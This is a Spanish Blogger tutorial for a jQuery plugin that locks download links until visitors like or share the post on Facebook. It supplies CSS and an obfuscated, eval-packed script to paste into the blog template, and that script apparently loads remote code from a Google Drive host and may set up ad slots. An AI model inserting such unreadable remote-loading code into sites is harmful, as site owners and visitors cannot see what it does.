JavaScript desactivado...tu Navegador tiene la opcion de JavaScript desactivada.!! ACTIVALO POR FAVOR
Inicio Conversor texto Plano

miércoles, 4 de septiembre de 2013

DownloadSocial  es un plugin JQuery que utiliza las API de Facebook base para aumentar mas seguidores en sitios o blog especialmente de descargas con este plugin usted podrá aumentar su trafico con Facebook ya que el visitante deberá de dar un Like si es su primera vez dentro del sitio o compartir la publicación en su muro para tener acceso a la descarga a esto se le conoce PAGO POR TWEET.
de esta manera sera conocido su sitio por muchas mas personas.

INSTALACION
DownloadSocial es de fácil instalación .

1) Añadir los estilos CSS
Dirigase a la opción Plantilla-->Editar HTML dentro del editor de Blogger haga un click y realice la combinación de teclas CTRL+F para abrir el buscador del editor y busque la siguiente etiqueta de cierre ]]></b:skin> y justo arriba de ella añada el siguiente codigo CSS

.panel_social{
width:60%;
margin:0px auto;
padding:3px 15px 15px 15px; 
border-radius: 8px;
-moz-border-radius: 8px;
-webkit-border-radius:8px;
background-color:#ffffff;
-moz-background-clip: padding;
-webkit-background-clip: padding;
background-clip: padding-box;
box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-moz-box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-webkit-box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10x 10px rgba(255,255,255,0.08) inset;
box-shadow: inset 0 1px #dbd9d9, inset 0 0 0 1px #8c8b8b, 0 1px #abaaaa, 0 3px #c0c0c0, 0 4px #abaaaa, 0 5px 2px rgba(0, 0, 0, 0.4);
overflow:hidden;
}

.title_superior{
color:#252525;
font-size:1.4em;
font-family: helvetica, sans-serif;
font-weight:bold;
text-align:center;
padding:0px 0px 15px 25px;
background-image: url(//lh3.googleusercontent.com/-mHceSQs6hRc/UiYQ2P3YQYI/AAAAAAAAGdk/nTgX687GuJU/s24-no/like.png);
background-position:22% top;
background-repeat: no-repeat;
list-style-type:none;
}

.title_inferior{
color:#252525;
font-size: 1.2em;
text-align:center;
font-family: helvetica, sans-serif;
padding:0px 24px 15px 0px;
background-image: url(//lh6.googleusercontent.com/-7Mqo_8UpvEU/UiYUBWv48iI/AAAAAAAAGeM/KpXRE8cvpGg/s24-no/happy.png);
background-position:67% top;
background-repeat: no-repeat;
list-style-type:none;
}

.panel_DS{
 margin:0px auto;
}

.panel_DS p{
color:#252525;
font-size: 1.3em;
text-align:center;
font-family: helvetica, sans-serif;
}
.panel_DS b{
color:#000000;
}

.panel_bto_social{
margin:3% 30%;
overflow:hidden;
}

.panel_bto_social input[type="button"]{
border: 1px solid rgba(0,0,0,0.2);
box-sizing: content-box !important;
color: #ffffff;
cursor: pointer;
display: inline-block;
padding: 5px 5px 5px 5px;
text-align: center;
text-shadow: 0 0 5px rgba(0,0,0,0.2), 0 0 1px rgba(0,0,0,0.4);
text-decoration: none;
font-size: 1.0em;
font-family: 'Calibri';
white-space: normal;
outline: none; 
-moz-transition: all 200ms ease 0ms !important;
-o-transition: all 200ms ease 0ms !important;
-webkit-transition: all 200ms ease 0ms !important;
background-color:#158de1;
border-radius: 3px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
-moz-background-clip: padding;
-webkit-background-clip: padding;
background-clip: padding-box;
box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-moz-box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-webkit-box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10x 10px rgba(255,255,255,0.08) inset;
box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
}

/***** Hovered Button *****/
.panel_bto_social input[type="button"]:hover {
color: #d1f445;
text-shadow: 0 0 5px rgba(0,0,0,0.2), 0 0 1px rgba(0,0,0,0.4);
box-shadow: 0 0 5px rgba(255,255,255,0.45) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-moz-box-shadow: 0 0 5px rgba(255,255,255,0.45) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-webkit-box-shadow: 0 0 5px rgba(255,255,255,0.45) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
 }

.panel_bto_social section{
border-radius: 10px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
margin:0px 5px;
padding:6px 6px 6px 6px;
-moz-box-shadow: rgba(255,255,255,.28) 0px 1px 1px, inset rgba(0,0,0,.5) 0 1px 4px;
-webkit-box-shadow: rgba(255,255,255,.28) 0px 1px 1px, inset rgba(0,0,0,.5) 0 1px 4px;
box-shadow: rgba(255,255,255,.28) 0px 1px 1px, inset rgba(0,0,0,.5) 0 1px 4px;
background-image: -moz-linear-gradient(top, rgba(0,0,0,.1) 0%, rgba(0,0,0,0) 30%, rgba(0,0,0,.2) 100%);
background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(0,0,0,0.1)), color-stop(30%,rgba(0,0,0,0)), color-stop(100%,rgba(0,0,0,.2)));
background-image: -webkit-linear-gradient(top, rgba(0,0,0,.1) 0%, rgba(0,0,0,0) 30%, rgba(0,0,0,.2) 100%);
background-image: -o-linear-gradient(top, rgba(0,0,0,.1) 0%, rgba(0,0,0,0) 30%, rgba(0,0,0,.2) 100%);
background-image: linear-gradient(top, rgba(0,0,0,.1) 0%, rgba(0,0,0,0) 30%, rgba(0,0,0,.2) 100%);
-moz-background-clip: padding-box;
-webkit-background-clip: padding-box;
background-clip: padding-box;
}
.like_share{
float:left;
margin:3% 5px;
}
.timer{
float:right;
padding:6px 6px 6px 6px;
}
.timer li{
color:#bfbfbf;
font-size: 0.8em;
font-family: helvetica, sans-serif;
list-style-type:none;
}
/****PANEL DOWNLOAD**********/
.panel_download{
width:90%;
margin:10px auto;
padding:15px 8px 8px 8px;
overflow:hidden;
display:none;
}
.password{
color:#252525;
font-size: 1.3em;
text-align:center;
font-family: helvetica, sans-serif;
padding:12px 8px 8px 8px;
border-radius: 15px;
-moz-border-radius: 15px;
-webkit-border-radius:15px;
background-color:#ffffff;
-moz-background-clip: padding;
-webkit-background-clip: padding;
background-clip: padding-box;
box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-moz-box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-webkit-box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10x 10px rgba(255,255,255,0.08) inset;
box-shadow: inset 0 1px #dbd9d9, inset 0 0 0 1px #8c8b8b, 0 1px #abaaaa, 0 3px #c0c0c0, 0 4px #abaaaa, 0 5px 2px rgba(0, 0, 0, 0.4);
}
.password b{
color:#000000;
font-family: helvetica, sans-serif;
padding:0px 0px 5px 25px;
background-image: url(//lh6.googleusercontent.com/-MXOpaZiExfk/UiYuLmXFLKI/AAAAAAAAGfU/lLaCMmWBROI/s24-no/lock.png);
background-position:1px center;
background-repeat: no-repeat;
}
.note_user{
color:#252525;
font-size: 1.3em;
text-align:center;
font-family: helvetica, sans-serif;
padding:12px 8px 8px 30px;
border-radius: 15px;
-moz-border-radius: 15px;
-webkit-border-radius:15px;
background-color:#ffffff;
-moz-background-clip: padding;
-webkit-background-clip: padding;
background-clip: padding-box;
box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-moz-box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-webkit-box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10x 10px rgba(255,255,255,0.08) inset;
box-shadow: inset 0 1px #dbd9d9, inset 0 0 0 1px #8c8b8b, 0 1px #abaaaa, 0 3px #c0c0c0, 0 4px #abaaaa, 0 5px 2px rgba(0, 0, 0, 0.4);
background-image: url(//lh6.googleusercontent.com/-7Mqo_8UpvEU/UiYUBWv48iI/AAAAAAAAGeM/KpXRE8cvpGg/s24-no/happy.png);
background-position:3px center;
background-repeat: no-repeat;
font-weight:bold;
}
.links_download{
padding:15px 8px 8px 8px;
border-radius: 8px;
-moz-border-radius: 8px;
-webkit-border-radius:8px;
background-color:#ffffff;
border:1px solid #bfbfbf;
}



2) Añadir el SCRIPT jQuery(debera de tener instalado una version reciente del plugin jQuery)
luego busque la etiqueta </head> y justo arriba de ella pegue el siguiente codigo js.

<b:if cond='data:blog.pageType == &quot;item&quot;'>
<script type='text/javascript'>
//<![CDATA[

var _0xa847=["\x35\x20\x44\x3D\x22\x22\x2C\x45\x3D\x22\x22\x2C\x4D\x3D\x22\x22\x2C\x32\x70\x3D\x22\x22\x3B\x35\x20\x73\x3D\x22\x22\x2C\x49\x3D\x22\x22\x3B\x35\x20\x4B\x3D\x22\x22\x2C\x6A\x3D\x22\x22\x3B\x35\x20\x37\x3D\x7B\x4A\x3A\x22\x22\x2C\x4E\x3A\x72\x2C\x31\x30\x3A\x75\x2C\x31\x31\x3A\x32\x6B\x2C\x58\x3A\x22\x22\x2C\x51\x3A\x22\x22\x7D\x3B\x31\x61\x2E\x4C\x3D\x32\x28\x29\x7B\x56\x28\x22\x32\x39\x3A\x2F\x2F\x32\x35\x2E\x32\x51\x2F\x32\x75\x2F\x32\x34\x2D\x32\x44\x2F\x31\x57\x2E\x31\x50\x22\x29\x3B\x31\x37\x28\x28\x32\x28\x29\x7B\x31\x4A\x28\x31\x4F\x29\x3B\x32\x46\x28\x31\x4C\x29\x3B\x31\x4B\x28\x31\x4D\x29\x3B\x31\x4E\x28\x22\x38\x2D\x39\x2D\x31\x49\x22\x29\x7D\x29\x2C\x31\x64\x29\x7D\x3B\x34\x28\x32\x28\x29\x7B\x49\x3D\x22\x3C\x33\x20\x36\x3D\x27\x31\x44\x27\x20\x69\x3D\x27\x31\x43\x27\x3E\x3C\x6D\x20\x36\x3D\x27\x31\x45\x27\x3E\x31\x46\x20\x31\x48\x20\x31\x47\x20\x79\x20\x31\x51\x3C\x2F\x6D\x3E\x3C\x70\x3E\x31\x5A\x20\x3C\x62\x3E\x22\x2B\x43\x28\x29\x2B\x22\x3C\x2F\x62\x3E\x20\x31\x59\x20\x32\x30\x20\x32\x31\x20\x32\x32\x20\x6F\x20\x31\x58\x3C\x2F\x70\x3E\x3C\x6D\x20\x36\x3D\x27\x31\x53\x27\x3E\x31\x42\xFA\x31\x54\x20\x61\x20\x31\x55\x2E\x21\x3C\x2F\x6D\x3E\x3C\x2F\x33\x3E\x3C\x33\x20\x36\x3D\x27\x31\x56\x27\x20\x69\x3D\x27\x32\x33\x27\x3E\x3C\x6B\x20\x36\x3D\x27\x59\x27\x20\x69\x3D\x27\x52\x27\x3E\x3C\x2F\x6B\x3E\x3C\x6B\x20\x36\x3D\x27\x59\x27\x20\x69\x3D\x27\x71\x27\x3E\x3C\x2F\x6B\x3E\x3C\x2F\x33\x3E\x3C\x33\x20\x36\x3D\x27\x76\x27\x20\x69\x3D\x27\x76\x27\x3E\x3C\x2F\x33\x3E\x22\x3B\x34\x28\x22\x33\x23\x41\x22\x29\x2E\x77\x28\x49\x29\x3B\x68\x28\x37\x2E\x31\x30\x3D\x3D\x46\x29\x7B\x6A\x3D\x37\x2E\x31\x31\x3B\x4B\x3D\x31\x6F\x28\x32\x28\x29\x7B\x76\x28\x29\x7D\x2C\x31\x6E\x29\x7D\x68\x28\x37\x2E\x4A\x21\x3D\x72\x29\x7B\x34\x28\x22\x6B\x23\x52\x22\x29\x2E\x31\x69\x28\x27\x3C\x31\x38\x3A\x31\x68\x20\x31\x41\x3D\x22\x75\x22\x20\x31\x77\x3D\x22\x31\x70\x22\x20\x31\x78\x3D\x22\x31\x79\x3A\x31\x7A\x20\x31\x76\x3B\x20\x31\x75\x3D\x22\x27\x2B\x37\x2E\x4A\x2B\x27\x22\x20\x31\x72\x3D\x22\x31\x73\x22\x20\x31\x74\x3D\x22\x75\x22\x20\x3E\x3C\x2F\x31\x38\x3A\x31\x68\x3E\x27\x29\x7D\x34\x28\x22\x6B\x23\x71\x22\x29\x2E\x31\x69\x28\x27\x3C\x31\x6C\x20\x31\x6D\x3D\x22\x31\x6B\x22\x20\x31\x33\x3D\x22\x71\x22\x20\x69\x3D\x22\x71\x22\x20\x32\x52\x3D\x22\x32\x42\x22\x3E\x27\x29\x3B\x31\x37\x28\x32\x28\x29\x7B\x55\x28\x29\x7D\x2C\x31\x64\x29\x3B\x34\x28\x22\x31\x6C\x5B\x31\x6D\x3D\x27\x31\x6B\x27\x5D\x23\x71\x22\x29\x2E\x32\x43\x28\x32\x28\x29\x7B\x48\x28\x29\x7D\x29\x7D\x29\x3B\x32\x20\x76\x28\x29\x7B\x6A\x3D\x6A\x2D\x31\x3B\x68\x28\x6A\x3C\x3D\x30\x29\x7B\x6A\x3D\x30\x3B\x32\x45\x28\x4B\x29\x3B\x34\x28\x22\x33\x23\x41\x22\x29\x2E\x47\x28\x22\x67\x22\x29\x3B\x34\x28\x22\x33\x23\x6E\x22\x29\x2E\x74\x28\x22\x67\x22\x29\x3B\x7A\x28\x29\x7D\x34\x28\x22\x33\x23\x76\x22\x29\x2E\x77\x28\x22\x3C\x6D\x3E\x6F\x20\x32\x76\x20\x22\x2B\x6A\x2B\x22\x20\x32\x77\x3C\x2F\x6D\x3E\x22\x29\x7D\x32\x20\x7A\x28\x29\x7B\x35\x20\x61\x3D\x22\x22\x2C\x62\x3D\x22\x22\x3B\x35\x20\x63\x3D\x34\x28\x22\x33\x23\x6E\x22\x29\x2E\x77\x28\x29\x3B\x68\x28\x63\x21\x3D\x72\x29\x7B\x68\x28\x37\x2E\x4E\x21\x3D\x72\x29\x7B\x62\x3D\x22\x3C\x78\x20\x36\x3D\x27\x32\x79\x27\x3E\x22\x2B\x37\x2E\x4E\x2B\x22\x3C\x2F\x78\x3E\x22\x3B\x61\x3D\x22\x3C\x33\x20\x36\x3D\x27\x42\x27\x20\x69\x3D\x27\x42\x27\x3E\x22\x2B\x63\x2B\x22\x3C\x2F\x33\x3E\x22\x3B\x34\x28\x22\x33\x23\x6E\x22\x29\x2E\x77\x28\x62\x2B\x61\x29\x2E\x74\x28\x22\x67\x22\x29\x7D\x4F\x7B\x62\x3D\x22\x3C\x78\x20\x36\x3D\x27\x32\x47\x27\x3E\x22\x2B\x37\x2E\x51\x2B\x22\x3C\x2F\x78\x3E\x22\x3B\x61\x3D\x22\x3C\x33\x20\x36\x3D\x27\x42\x27\x20\x69\x3D\x27\x42\x27\x3E\x22\x2B\x63\x2B\x22\x3C\x2F\x33\x3E\x22\x3B\x34\x28\x22\x33\x23\x6E\x22\x29\x2E\x77\x28\x62\x2B\x61\x29\x2E\x74\x28\x22\x67\x22\x29\x7D\x7D\x7D\x32\x20\x55\x28\x29\x7B\x31\x32\x2E\x32\x4D\x2E\x32\x4C\x28\x22\x32\x48\x2E\x32\x49\x22\x2C\x32\x28\x61\x29\x7B\x34\x28\x22\x33\x23\x41\x22\x29\x2E\x47\x28\x22\x67\x22\x29\x3B\x34\x28\x22\x33\x23\x6E\x22\x29\x2E\x74\x28\x22\x67\x22\x29\x3B\x7A\x28\x29\x7D\x29\x7D\x32\x20\x48\x28\x29\x7B\x31\x32\x2E\x32\x4A\x28\x7B\x32\x4B\x3A\x22\x32\x74\x22\x2C\x31\x33\x3A\x37\x2E\x58\x2B\x22\x20\x22\x2B\x43\x28\x29\x2C\x32\x73\x3A\x31\x35\x28\x29\x2C\x32\x63\x3A\x31\x39\x28\x29\x2C\x32\x64\x3A\x31\x67\x28\x31\x62\x28\x29\x2C\x32\x65\x29\x7D\x2C\x32\x28\x61\x29\x7B\x68\x28\x21\x61\x7C\x7C\x61\x2E\x53\x29\x7B\x31\x36\x2E\x57\x28\x22\x53\x20\x32\x66\x20\x48\x22\x29\x7D\x4F\x7B\x34\x28\x22\x33\x23\x41\x22\x29\x2E\x47\x28\x22\x67\x22\x29\x3B\x34\x28\x22\x33\x23\x6E\x22\x29\x2E\x74\x28\x22\x67\x22\x29\x3B\x7A\x28\x29\x3B\x31\x36\x2E\x57\x28\x22\x32\x67\x2E\x21\x21\x22\x29\x7D\x7D\x29\x7D\x32\x20\x32\x68\x28\x62\x2C\x63\x2C\x61\x29\x7B\x44\x3D\x62\x3B\x45\x3D\x63\x3B\x31\x6A\x28\x61\x29\x3B\x31\x63\x28\x61\x29\x7D\x32\x20\x43\x28\x29\x7B\x6C\x20\x44\x7D\x32\x20\x31\x35\x28\x29\x7B\x6C\x20\x45\x7D\x32\x20\x31\x6A\x28\x61\x29\x7B\x73\x3D\x34\x28\x22\x23\x22\x2B\x61\x29\x2E\x32\x71\x28\x29\x3B\x73\x3D\x34\x2E\x32\x72\x28\x73\x2E\x32\x6E\x28\x29\x29\x7D\x32\x20\x31\x62\x28\x29\x7B\x6C\x20\x73\x7D\x32\x20\x31\x63\x28\x62\x29\x7B\x4D\x3D\x34\x28\x22\x23\x22\x2B\x62\x2B\x22\x20\x32\x6D\x3A\x32\x69\x28\x30\x29\x22\x29\x2E\x32\x6A\x28\x22\x31\x65\x22\x29\x7D\x32\x20\x31\x39\x28\x29\x7B\x6C\x20\x4D\x7D\x32\x20\x31\x67\x28\x63\x2C\x65\x29\x7B\x35\x20\x64\x3D\x65\x3B\x35\x20\x66\x3D\x22\x22\x3B\x68\x28\x63\x2E\x32\x6C\x3E\x64\x29\x7B\x35\x20\x62\x3D\x63\x2E\x31\x66\x28\x30\x2C\x64\x29\x3B\x35\x20\x61\x3D\x62\x2E\x32\x7A\x28\x22\x20\x22\x29\x3B\x62\x3D\x62\x2E\x31\x66\x28\x30\x2C\x61\x29\x3B\x66\x3D\x62\x7D\x4F\x7B\x66\x3D\x63\x7D\x6C\x20\x66\x7D\x32\x20\x56\x28\x64\x29\x7B\x35\x20\x63\x3D\x54\x2E\x32\x6F\x28\x22\x32\x36\x22\x29\x2C\x62\x3D\x75\x3B\x63\x2E\x4C\x3D\x63\x2E\x5A\x3D\x32\x28\x29\x7B\x68\x28\x28\x63\x2E\x50\x26\x26\x63\x2E\x50\x21\x3D\x3D\x22\x32\x41\x22\x26\x26\x63\x2E\x50\x21\x3D\x3D\x22\x31\x71\x22\x29\x7C\x7C\x62\x29\x7B\x6C\x20\x75\x7D\x63\x2E\x4C\x3D\x63\x2E\x5A\x3D\x72\x3B\x62\x3D\x46\x7D\x3B\x63\x2E\x32\x62\x3D\x46\x3B\x63\x2E\x31\x65\x3D\x64\x3B\x35\x20\x61\x3D\x54\x2E\x32\x38\x28\x22\x32\x37\x22\x29\x5B\x30\x5D\x3B\x61\x2E\x32\x61\x28\x63\x2C\x61\x2E\x32\x50\x29\x7D\x35\x20\x31\x34\x3D\x7B\x32\x4F\x3A\x32\x28\x62\x29\x7B\x32\x4E\x28\x35\x20\x61\x20\x32\x78\x20\x62\x29\x7B\x37\x5B\x61\x5D\x3D\x62\x5B\x61\x5D\x7D\x7D\x7D\x3B\x31\x61\x2E\x31\x52\x3D\x31\x34\x3B","\x7C","\x73\x70\x6C\x69\x74","\x7C\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x64\x69\x76\x7C\x6A\x51\x75\x65\x72\x79\x7C\x76\x61\x72\x7C\x63\x6C\x61\x73\x73\x7C\x4F\x70\x74\x69\x6F\x6E\x73\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x73\x6C\x6F\x77\x7C\x69\x66\x7C\x69\x64\x7C\x74\x69\x65\x6D\x70\x6F\x7C\x73\x65\x63\x74\x69\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C\x6C\x69\x7C\x70\x61\x6E\x65\x6C\x5F\x64\x6F\x77\x6E\x6C\x6F\x61\x64\x7C\x7C\x7C\x62\x74\x6F\x5F\x73\x68\x61\x72\x65\x7C\x6E\x75\x6C\x6C\x7C\x74\x65\x78\x74\x6F\x5F\x70\x6F\x73\x74\x7C\x66\x61\x64\x65\x49\x6E\x7C\x66\x61\x6C\x73\x65\x7C\x74\x69\x6D\x65\x72\x7C\x68\x74\x6D\x6C\x7C\x73\x70\x61\x6E\x7C\x7C\x61\x64\x64\x56\x69\x6E\x63\x75\x6C\x6F\x73\x7C\x70\x61\x6E\x65\x6C\x5F\x73\x6F\x63\x69\x61\x6C\x7C\x6C\x69\x6E\x6B\x73\x5F\x64\x6F\x77\x6E\x6C\x6F\x61\x64\x7C\x67\x65\x74\x54\x69\x74\x75\x6C\x6F\x7C\x74\x69\x74\x75\x6C\x6F\x73\x7C\x75\x72\x6C\x73\x7C\x74\x72\x75\x65\x7C\x66\x61\x64\x65\x4F\x75\x74\x7C\x63\x6F\x6D\x70\x61\x72\x74\x69\x72\x7C\x73\x6F\x63\x69\x61\x6C\x7C\x46\x61\x6E\x50\x61\x67\x65\x5F\x55\x52\x4C\x7C\x63\x6F\x75\x6E\x74\x65\x72\x7C\x6F\x6E\x6C\x6F\x61\x64\x7C\x69\x6D\x61\x67\x65\x7C\x50\x61\x73\x73\x77\x6F\x72\x64\x7C\x65\x6C\x73\x65\x7C\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65\x7C\x4E\x6F\x74\x65\x55\x73\x65\x72\x7C\x62\x74\x6F\x5F\x6C\x69\x6B\x65\x7C\x65\x72\x72\x6F\x72\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x44\x65\x74\x65\x63\x74\x61\x4C\x69\x6B\x65\x7C\x6C\x6F\x61\x64\x73\x63\x72\x69\x70\x7C\x6C\x6F\x67\x7C\x42\x6C\x6F\x67\x4E\x61\x6D\x65\x7C\x6C\x69\x6B\x65\x5F\x73\x68\x61\x72\x65\x7C\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65\x7C\x41\x63\x74\x69\x76\x65\x54\x69\x6D\x65\x72\x7C\x54\x69\x6D\x65\x72\x7C\x46\x42\x7C\x6E\x61\x6D\x65\x7C\x6D\x70\x6C\x7C\x67\x65\x74\x55\x52\x4C\x7C\x63\x6F\x6E\x73\x6F\x6C\x65\x7C\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74\x7C\x66\x62\x7C\x67\x65\x74\x49\x6D\x61\x67\x65\x6E\x7C\x77\x69\x6E\x64\x6F\x77\x7C\x67\x65\x54\x65\x78\x74\x6F\x50\x6F\x73\x74\x7C\x73\x6F\x6C\x6F\x5F\x69\x6D\x61\x67\x65\x6E\x7C\x32\x30\x30\x30\x7C\x73\x72\x63\x7C\x73\x75\x62\x73\x74\x72\x69\x6E\x67\x7C\x67\x65\x74\x43\x61\x72\x61\x63\x74\x65\x72\x65\x73\x7C\x6C\x69\x6B\x65\x7C\x70\x72\x65\x70\x65\x6E\x64\x7C\x73\x6F\x6C\x6F\x5F\x74\x65\x78\x74\x6F\x7C\x62\x75\x74\x74\x6F\x6E\x7C\x69\x6E\x70\x75\x74\x7C\x74\x79\x70\x65\x7C\x31\x30\x30\x30\x7C\x73\x65\x74\x49\x6E\x74\x65\x72\x76\x61\x6C\x7C\x62\x75\x74\x74\x6F\x6E\x5F\x63\x6F\x75\x6E\x74\x7C\x6C\x6F\x61\x64\x65\x64\x7C\x77\x69\x64\x74\x68\x7C\x31\x32\x30\x7C\x73\x68\x6F\x77\x5F\x66\x61\x63\x65\x73\x7C\x68\x72\x65\x66\x7C\x61\x75\x74\x6F\x7C\x6C\x61\x79\x6F\x75\x74\x7C\x73\x74\x79\x6C\x65\x7C\x6D\x61\x72\x67\x69\x6E\x7C\x31\x70\x78\x7C\x73\x65\x6E\x64\x7C\x41\x79\x7C\x74\x69\x74\x75\x6C\x6F\x7C\x70\x61\x6E\x65\x6C\x5F\x44\x53\x7C\x74\x69\x74\x6C\x65\x5F\x73\x75\x70\x65\x72\x69\x6F\x72\x7C\x43\x6F\x6D\x70\x61\x72\x74\x65\x7C\x50\x6F\x73\x74\x7C\x65\x6C\x7C\x32\x30\x31\x33\x7C\x73\x65\x74\x53\x6C\x6F\x74\x7C\x73\x65\x74\x41\x6C\x74\x6F\x7C\x37\x32\x38\x7C\x39\x30\x7C\x73\x65\x74\x44\x61\x74\x65\x41\x63\x74\x69\x76\x65\x7C\x33\x31\x30\x37\x31\x36\x36\x39\x33\x31\x7C\x6A\x73\x7C\x64\x65\x73\x63\x61\x72\x67\x61\x7C\x44\x6F\x77\x6E\x6C\x6F\x61\x64\x53\x6F\x63\x69\x61\x6C\x7C\x74\x69\x74\x6C\x65\x5F\x69\x6E\x66\x65\x72\x69\x6F\x72\x7C\x64\x61\x6E\x6F\x73\x7C\x43\x72\x65\x63\x65\x72\x7C\x70\x61\x6E\x65\x6C\x5F\x62\x74\x6F\x5F\x73\x6F\x63\x69\x61\x6C\x7C\x30\x30\x30\x31\x34\x43\x41\x7C\x43\x6F\x6D\x70\x61\x72\x74\x69\x65\x6E\x64\x6F\x6C\x6F\x7C\x64\x61\x6E\x64\x6F\x7C\x44\x65\x73\x63\x61\x72\x67\x61\x74\x65\x7C\x75\x6E\x7C\x4D\x65\x7C\x67\x75\x73\x74\x61\x7C\x62\x74\x6F\x5F\x73\x6F\x63\x69\x61\x6C\x7C\x30\x42\x32\x7C\x67\x6F\x6F\x67\x6C\x65\x64\x72\x69\x76\x65\x7C\x73\x63\x72\x69\x70\x74\x7C\x68\x65\x61\x64\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x68\x74\x74\x70\x73\x7C\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65\x7C\x61\x73\x79\x6E\x63\x7C\x70\x69\x63\x74\x75\x72\x65\x7C\x63\x61\x70\x74\x69\x6F\x6E\x7C\x32\x30\x30\x7C\x61\x6C\x7C\x65\x78\x69\x74\x6F\x7C\x73\x65\x74\x50\x61\x72\x61\x6D\x65\x74\x72\x6F\x73\x7C\x65\x71\x7C\x61\x74\x74\x72\x7C\x36\x30\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x69\x6D\x67\x7C\x74\x65\x78\x74\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x5F\x70\x6F\x73\x74\x7C\x63\x6C\x6F\x6E\x65\x7C\x74\x72\x69\x6D\x7C\x6C\x69\x6E\x6B\x7C\x66\x65\x65\x64\x7C\x68\x6F\x73\x74\x7C\x65\x73\x70\x65\x72\x61\x7C\x73\x65\x63\x73\x7C\x69\x6E\x7C\x70\x61\x73\x73\x77\x6F\x72\x64\x7C\x6C\x61\x73\x74\x49\x6E\x64\x65\x78\x4F\x66\x7C\x63\x6F\x6D\x70\x6C\x65\x74\x65\x7C\x43\x6F\x6D\x70\x61\x72\x74\x69\x72\x7C\x63\x6C\x69\x63\x6B\x7C\x78\x4D\x32\x5F\x56\x41\x6C\x63\x4F\x65\x57\x46\x52\x65\x48\x70\x6A\x52\x58\x42\x6F\x64\x32\x73\x7C\x63\x6C\x65\x61\x72\x49\x6E\x74\x65\x72\x76\x61\x6C\x7C\x73\x65\x74\x41\x6E\x63\x68\x6F\x7C\x6E\x6F\x74\x65\x5F\x75\x73\x65\x72\x7C\x65\x64\x67\x65\x7C\x63\x72\x65\x61\x74\x65\x7C\x75\x69\x7C\x6D\x65\x74\x68\x6F\x64\x7C\x73\x75\x62\x73\x63\x72\x69\x62\x65\x7C\x45\x76\x65\x6E\x74\x7C\x66\x6F\x72\x7C\x70\x61\x72\x61\x6D\x65\x74\x72\x6F\x73\x7C\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64\x7C\x63\x6F\x6D\x7C\x76\x61\x6C\x75\x65","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x72\x65\x70\x6C\x61\x63\x65","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0x2442x1,_0x2442x2,_0x2442x3,_0x2442x4,_0x2442x5,_0x2442x6){_0x2442x5=function (_0x2442x3){return (_0x2442x3<_0x2442x2?_0xa847[4]:_0x2442x5(parseInt(_0x2442x3/_0x2442x2)))+((_0x2442x3=_0x2442x3%_0x2442x2)>35?String[_0xa847[5]](_0x2442x3+29):_0x2442x3.toString(36));} ;if(!_0xa847[4][_0xa847[6]](/^/,String)){while(_0x2442x3--){_0x2442x6[_0x2442x5(_0x2442x3)]=_0x2442x4[_0x2442x3]||_0x2442x5(_0x2442x3);} ;_0x2442x4=[function (_0x2442x5){return _0x2442x6[_0x2442x5];} ];_0x2442x5=function (){return _0xa847[7];} ;_0x2442x3=1;} ;while(_0x2442x3--){if(_0x2442x4[_0x2442x3]){_0x2442x1=_0x2442x1[_0xa847[6]]( new RegExp(_0xa847[8]+_0x2442x5(_0x2442x3)+_0xa847[8],_0xa847[9]),_0x2442x4[_0x2442x3]);} ;} ;return _0x2442x1;} (_0xa847[0],62,178,_0xa847[3][_0xa847[2]](_0xa847[1]),0,{}));

//]]>
</script>

<script type='text/javascript'>
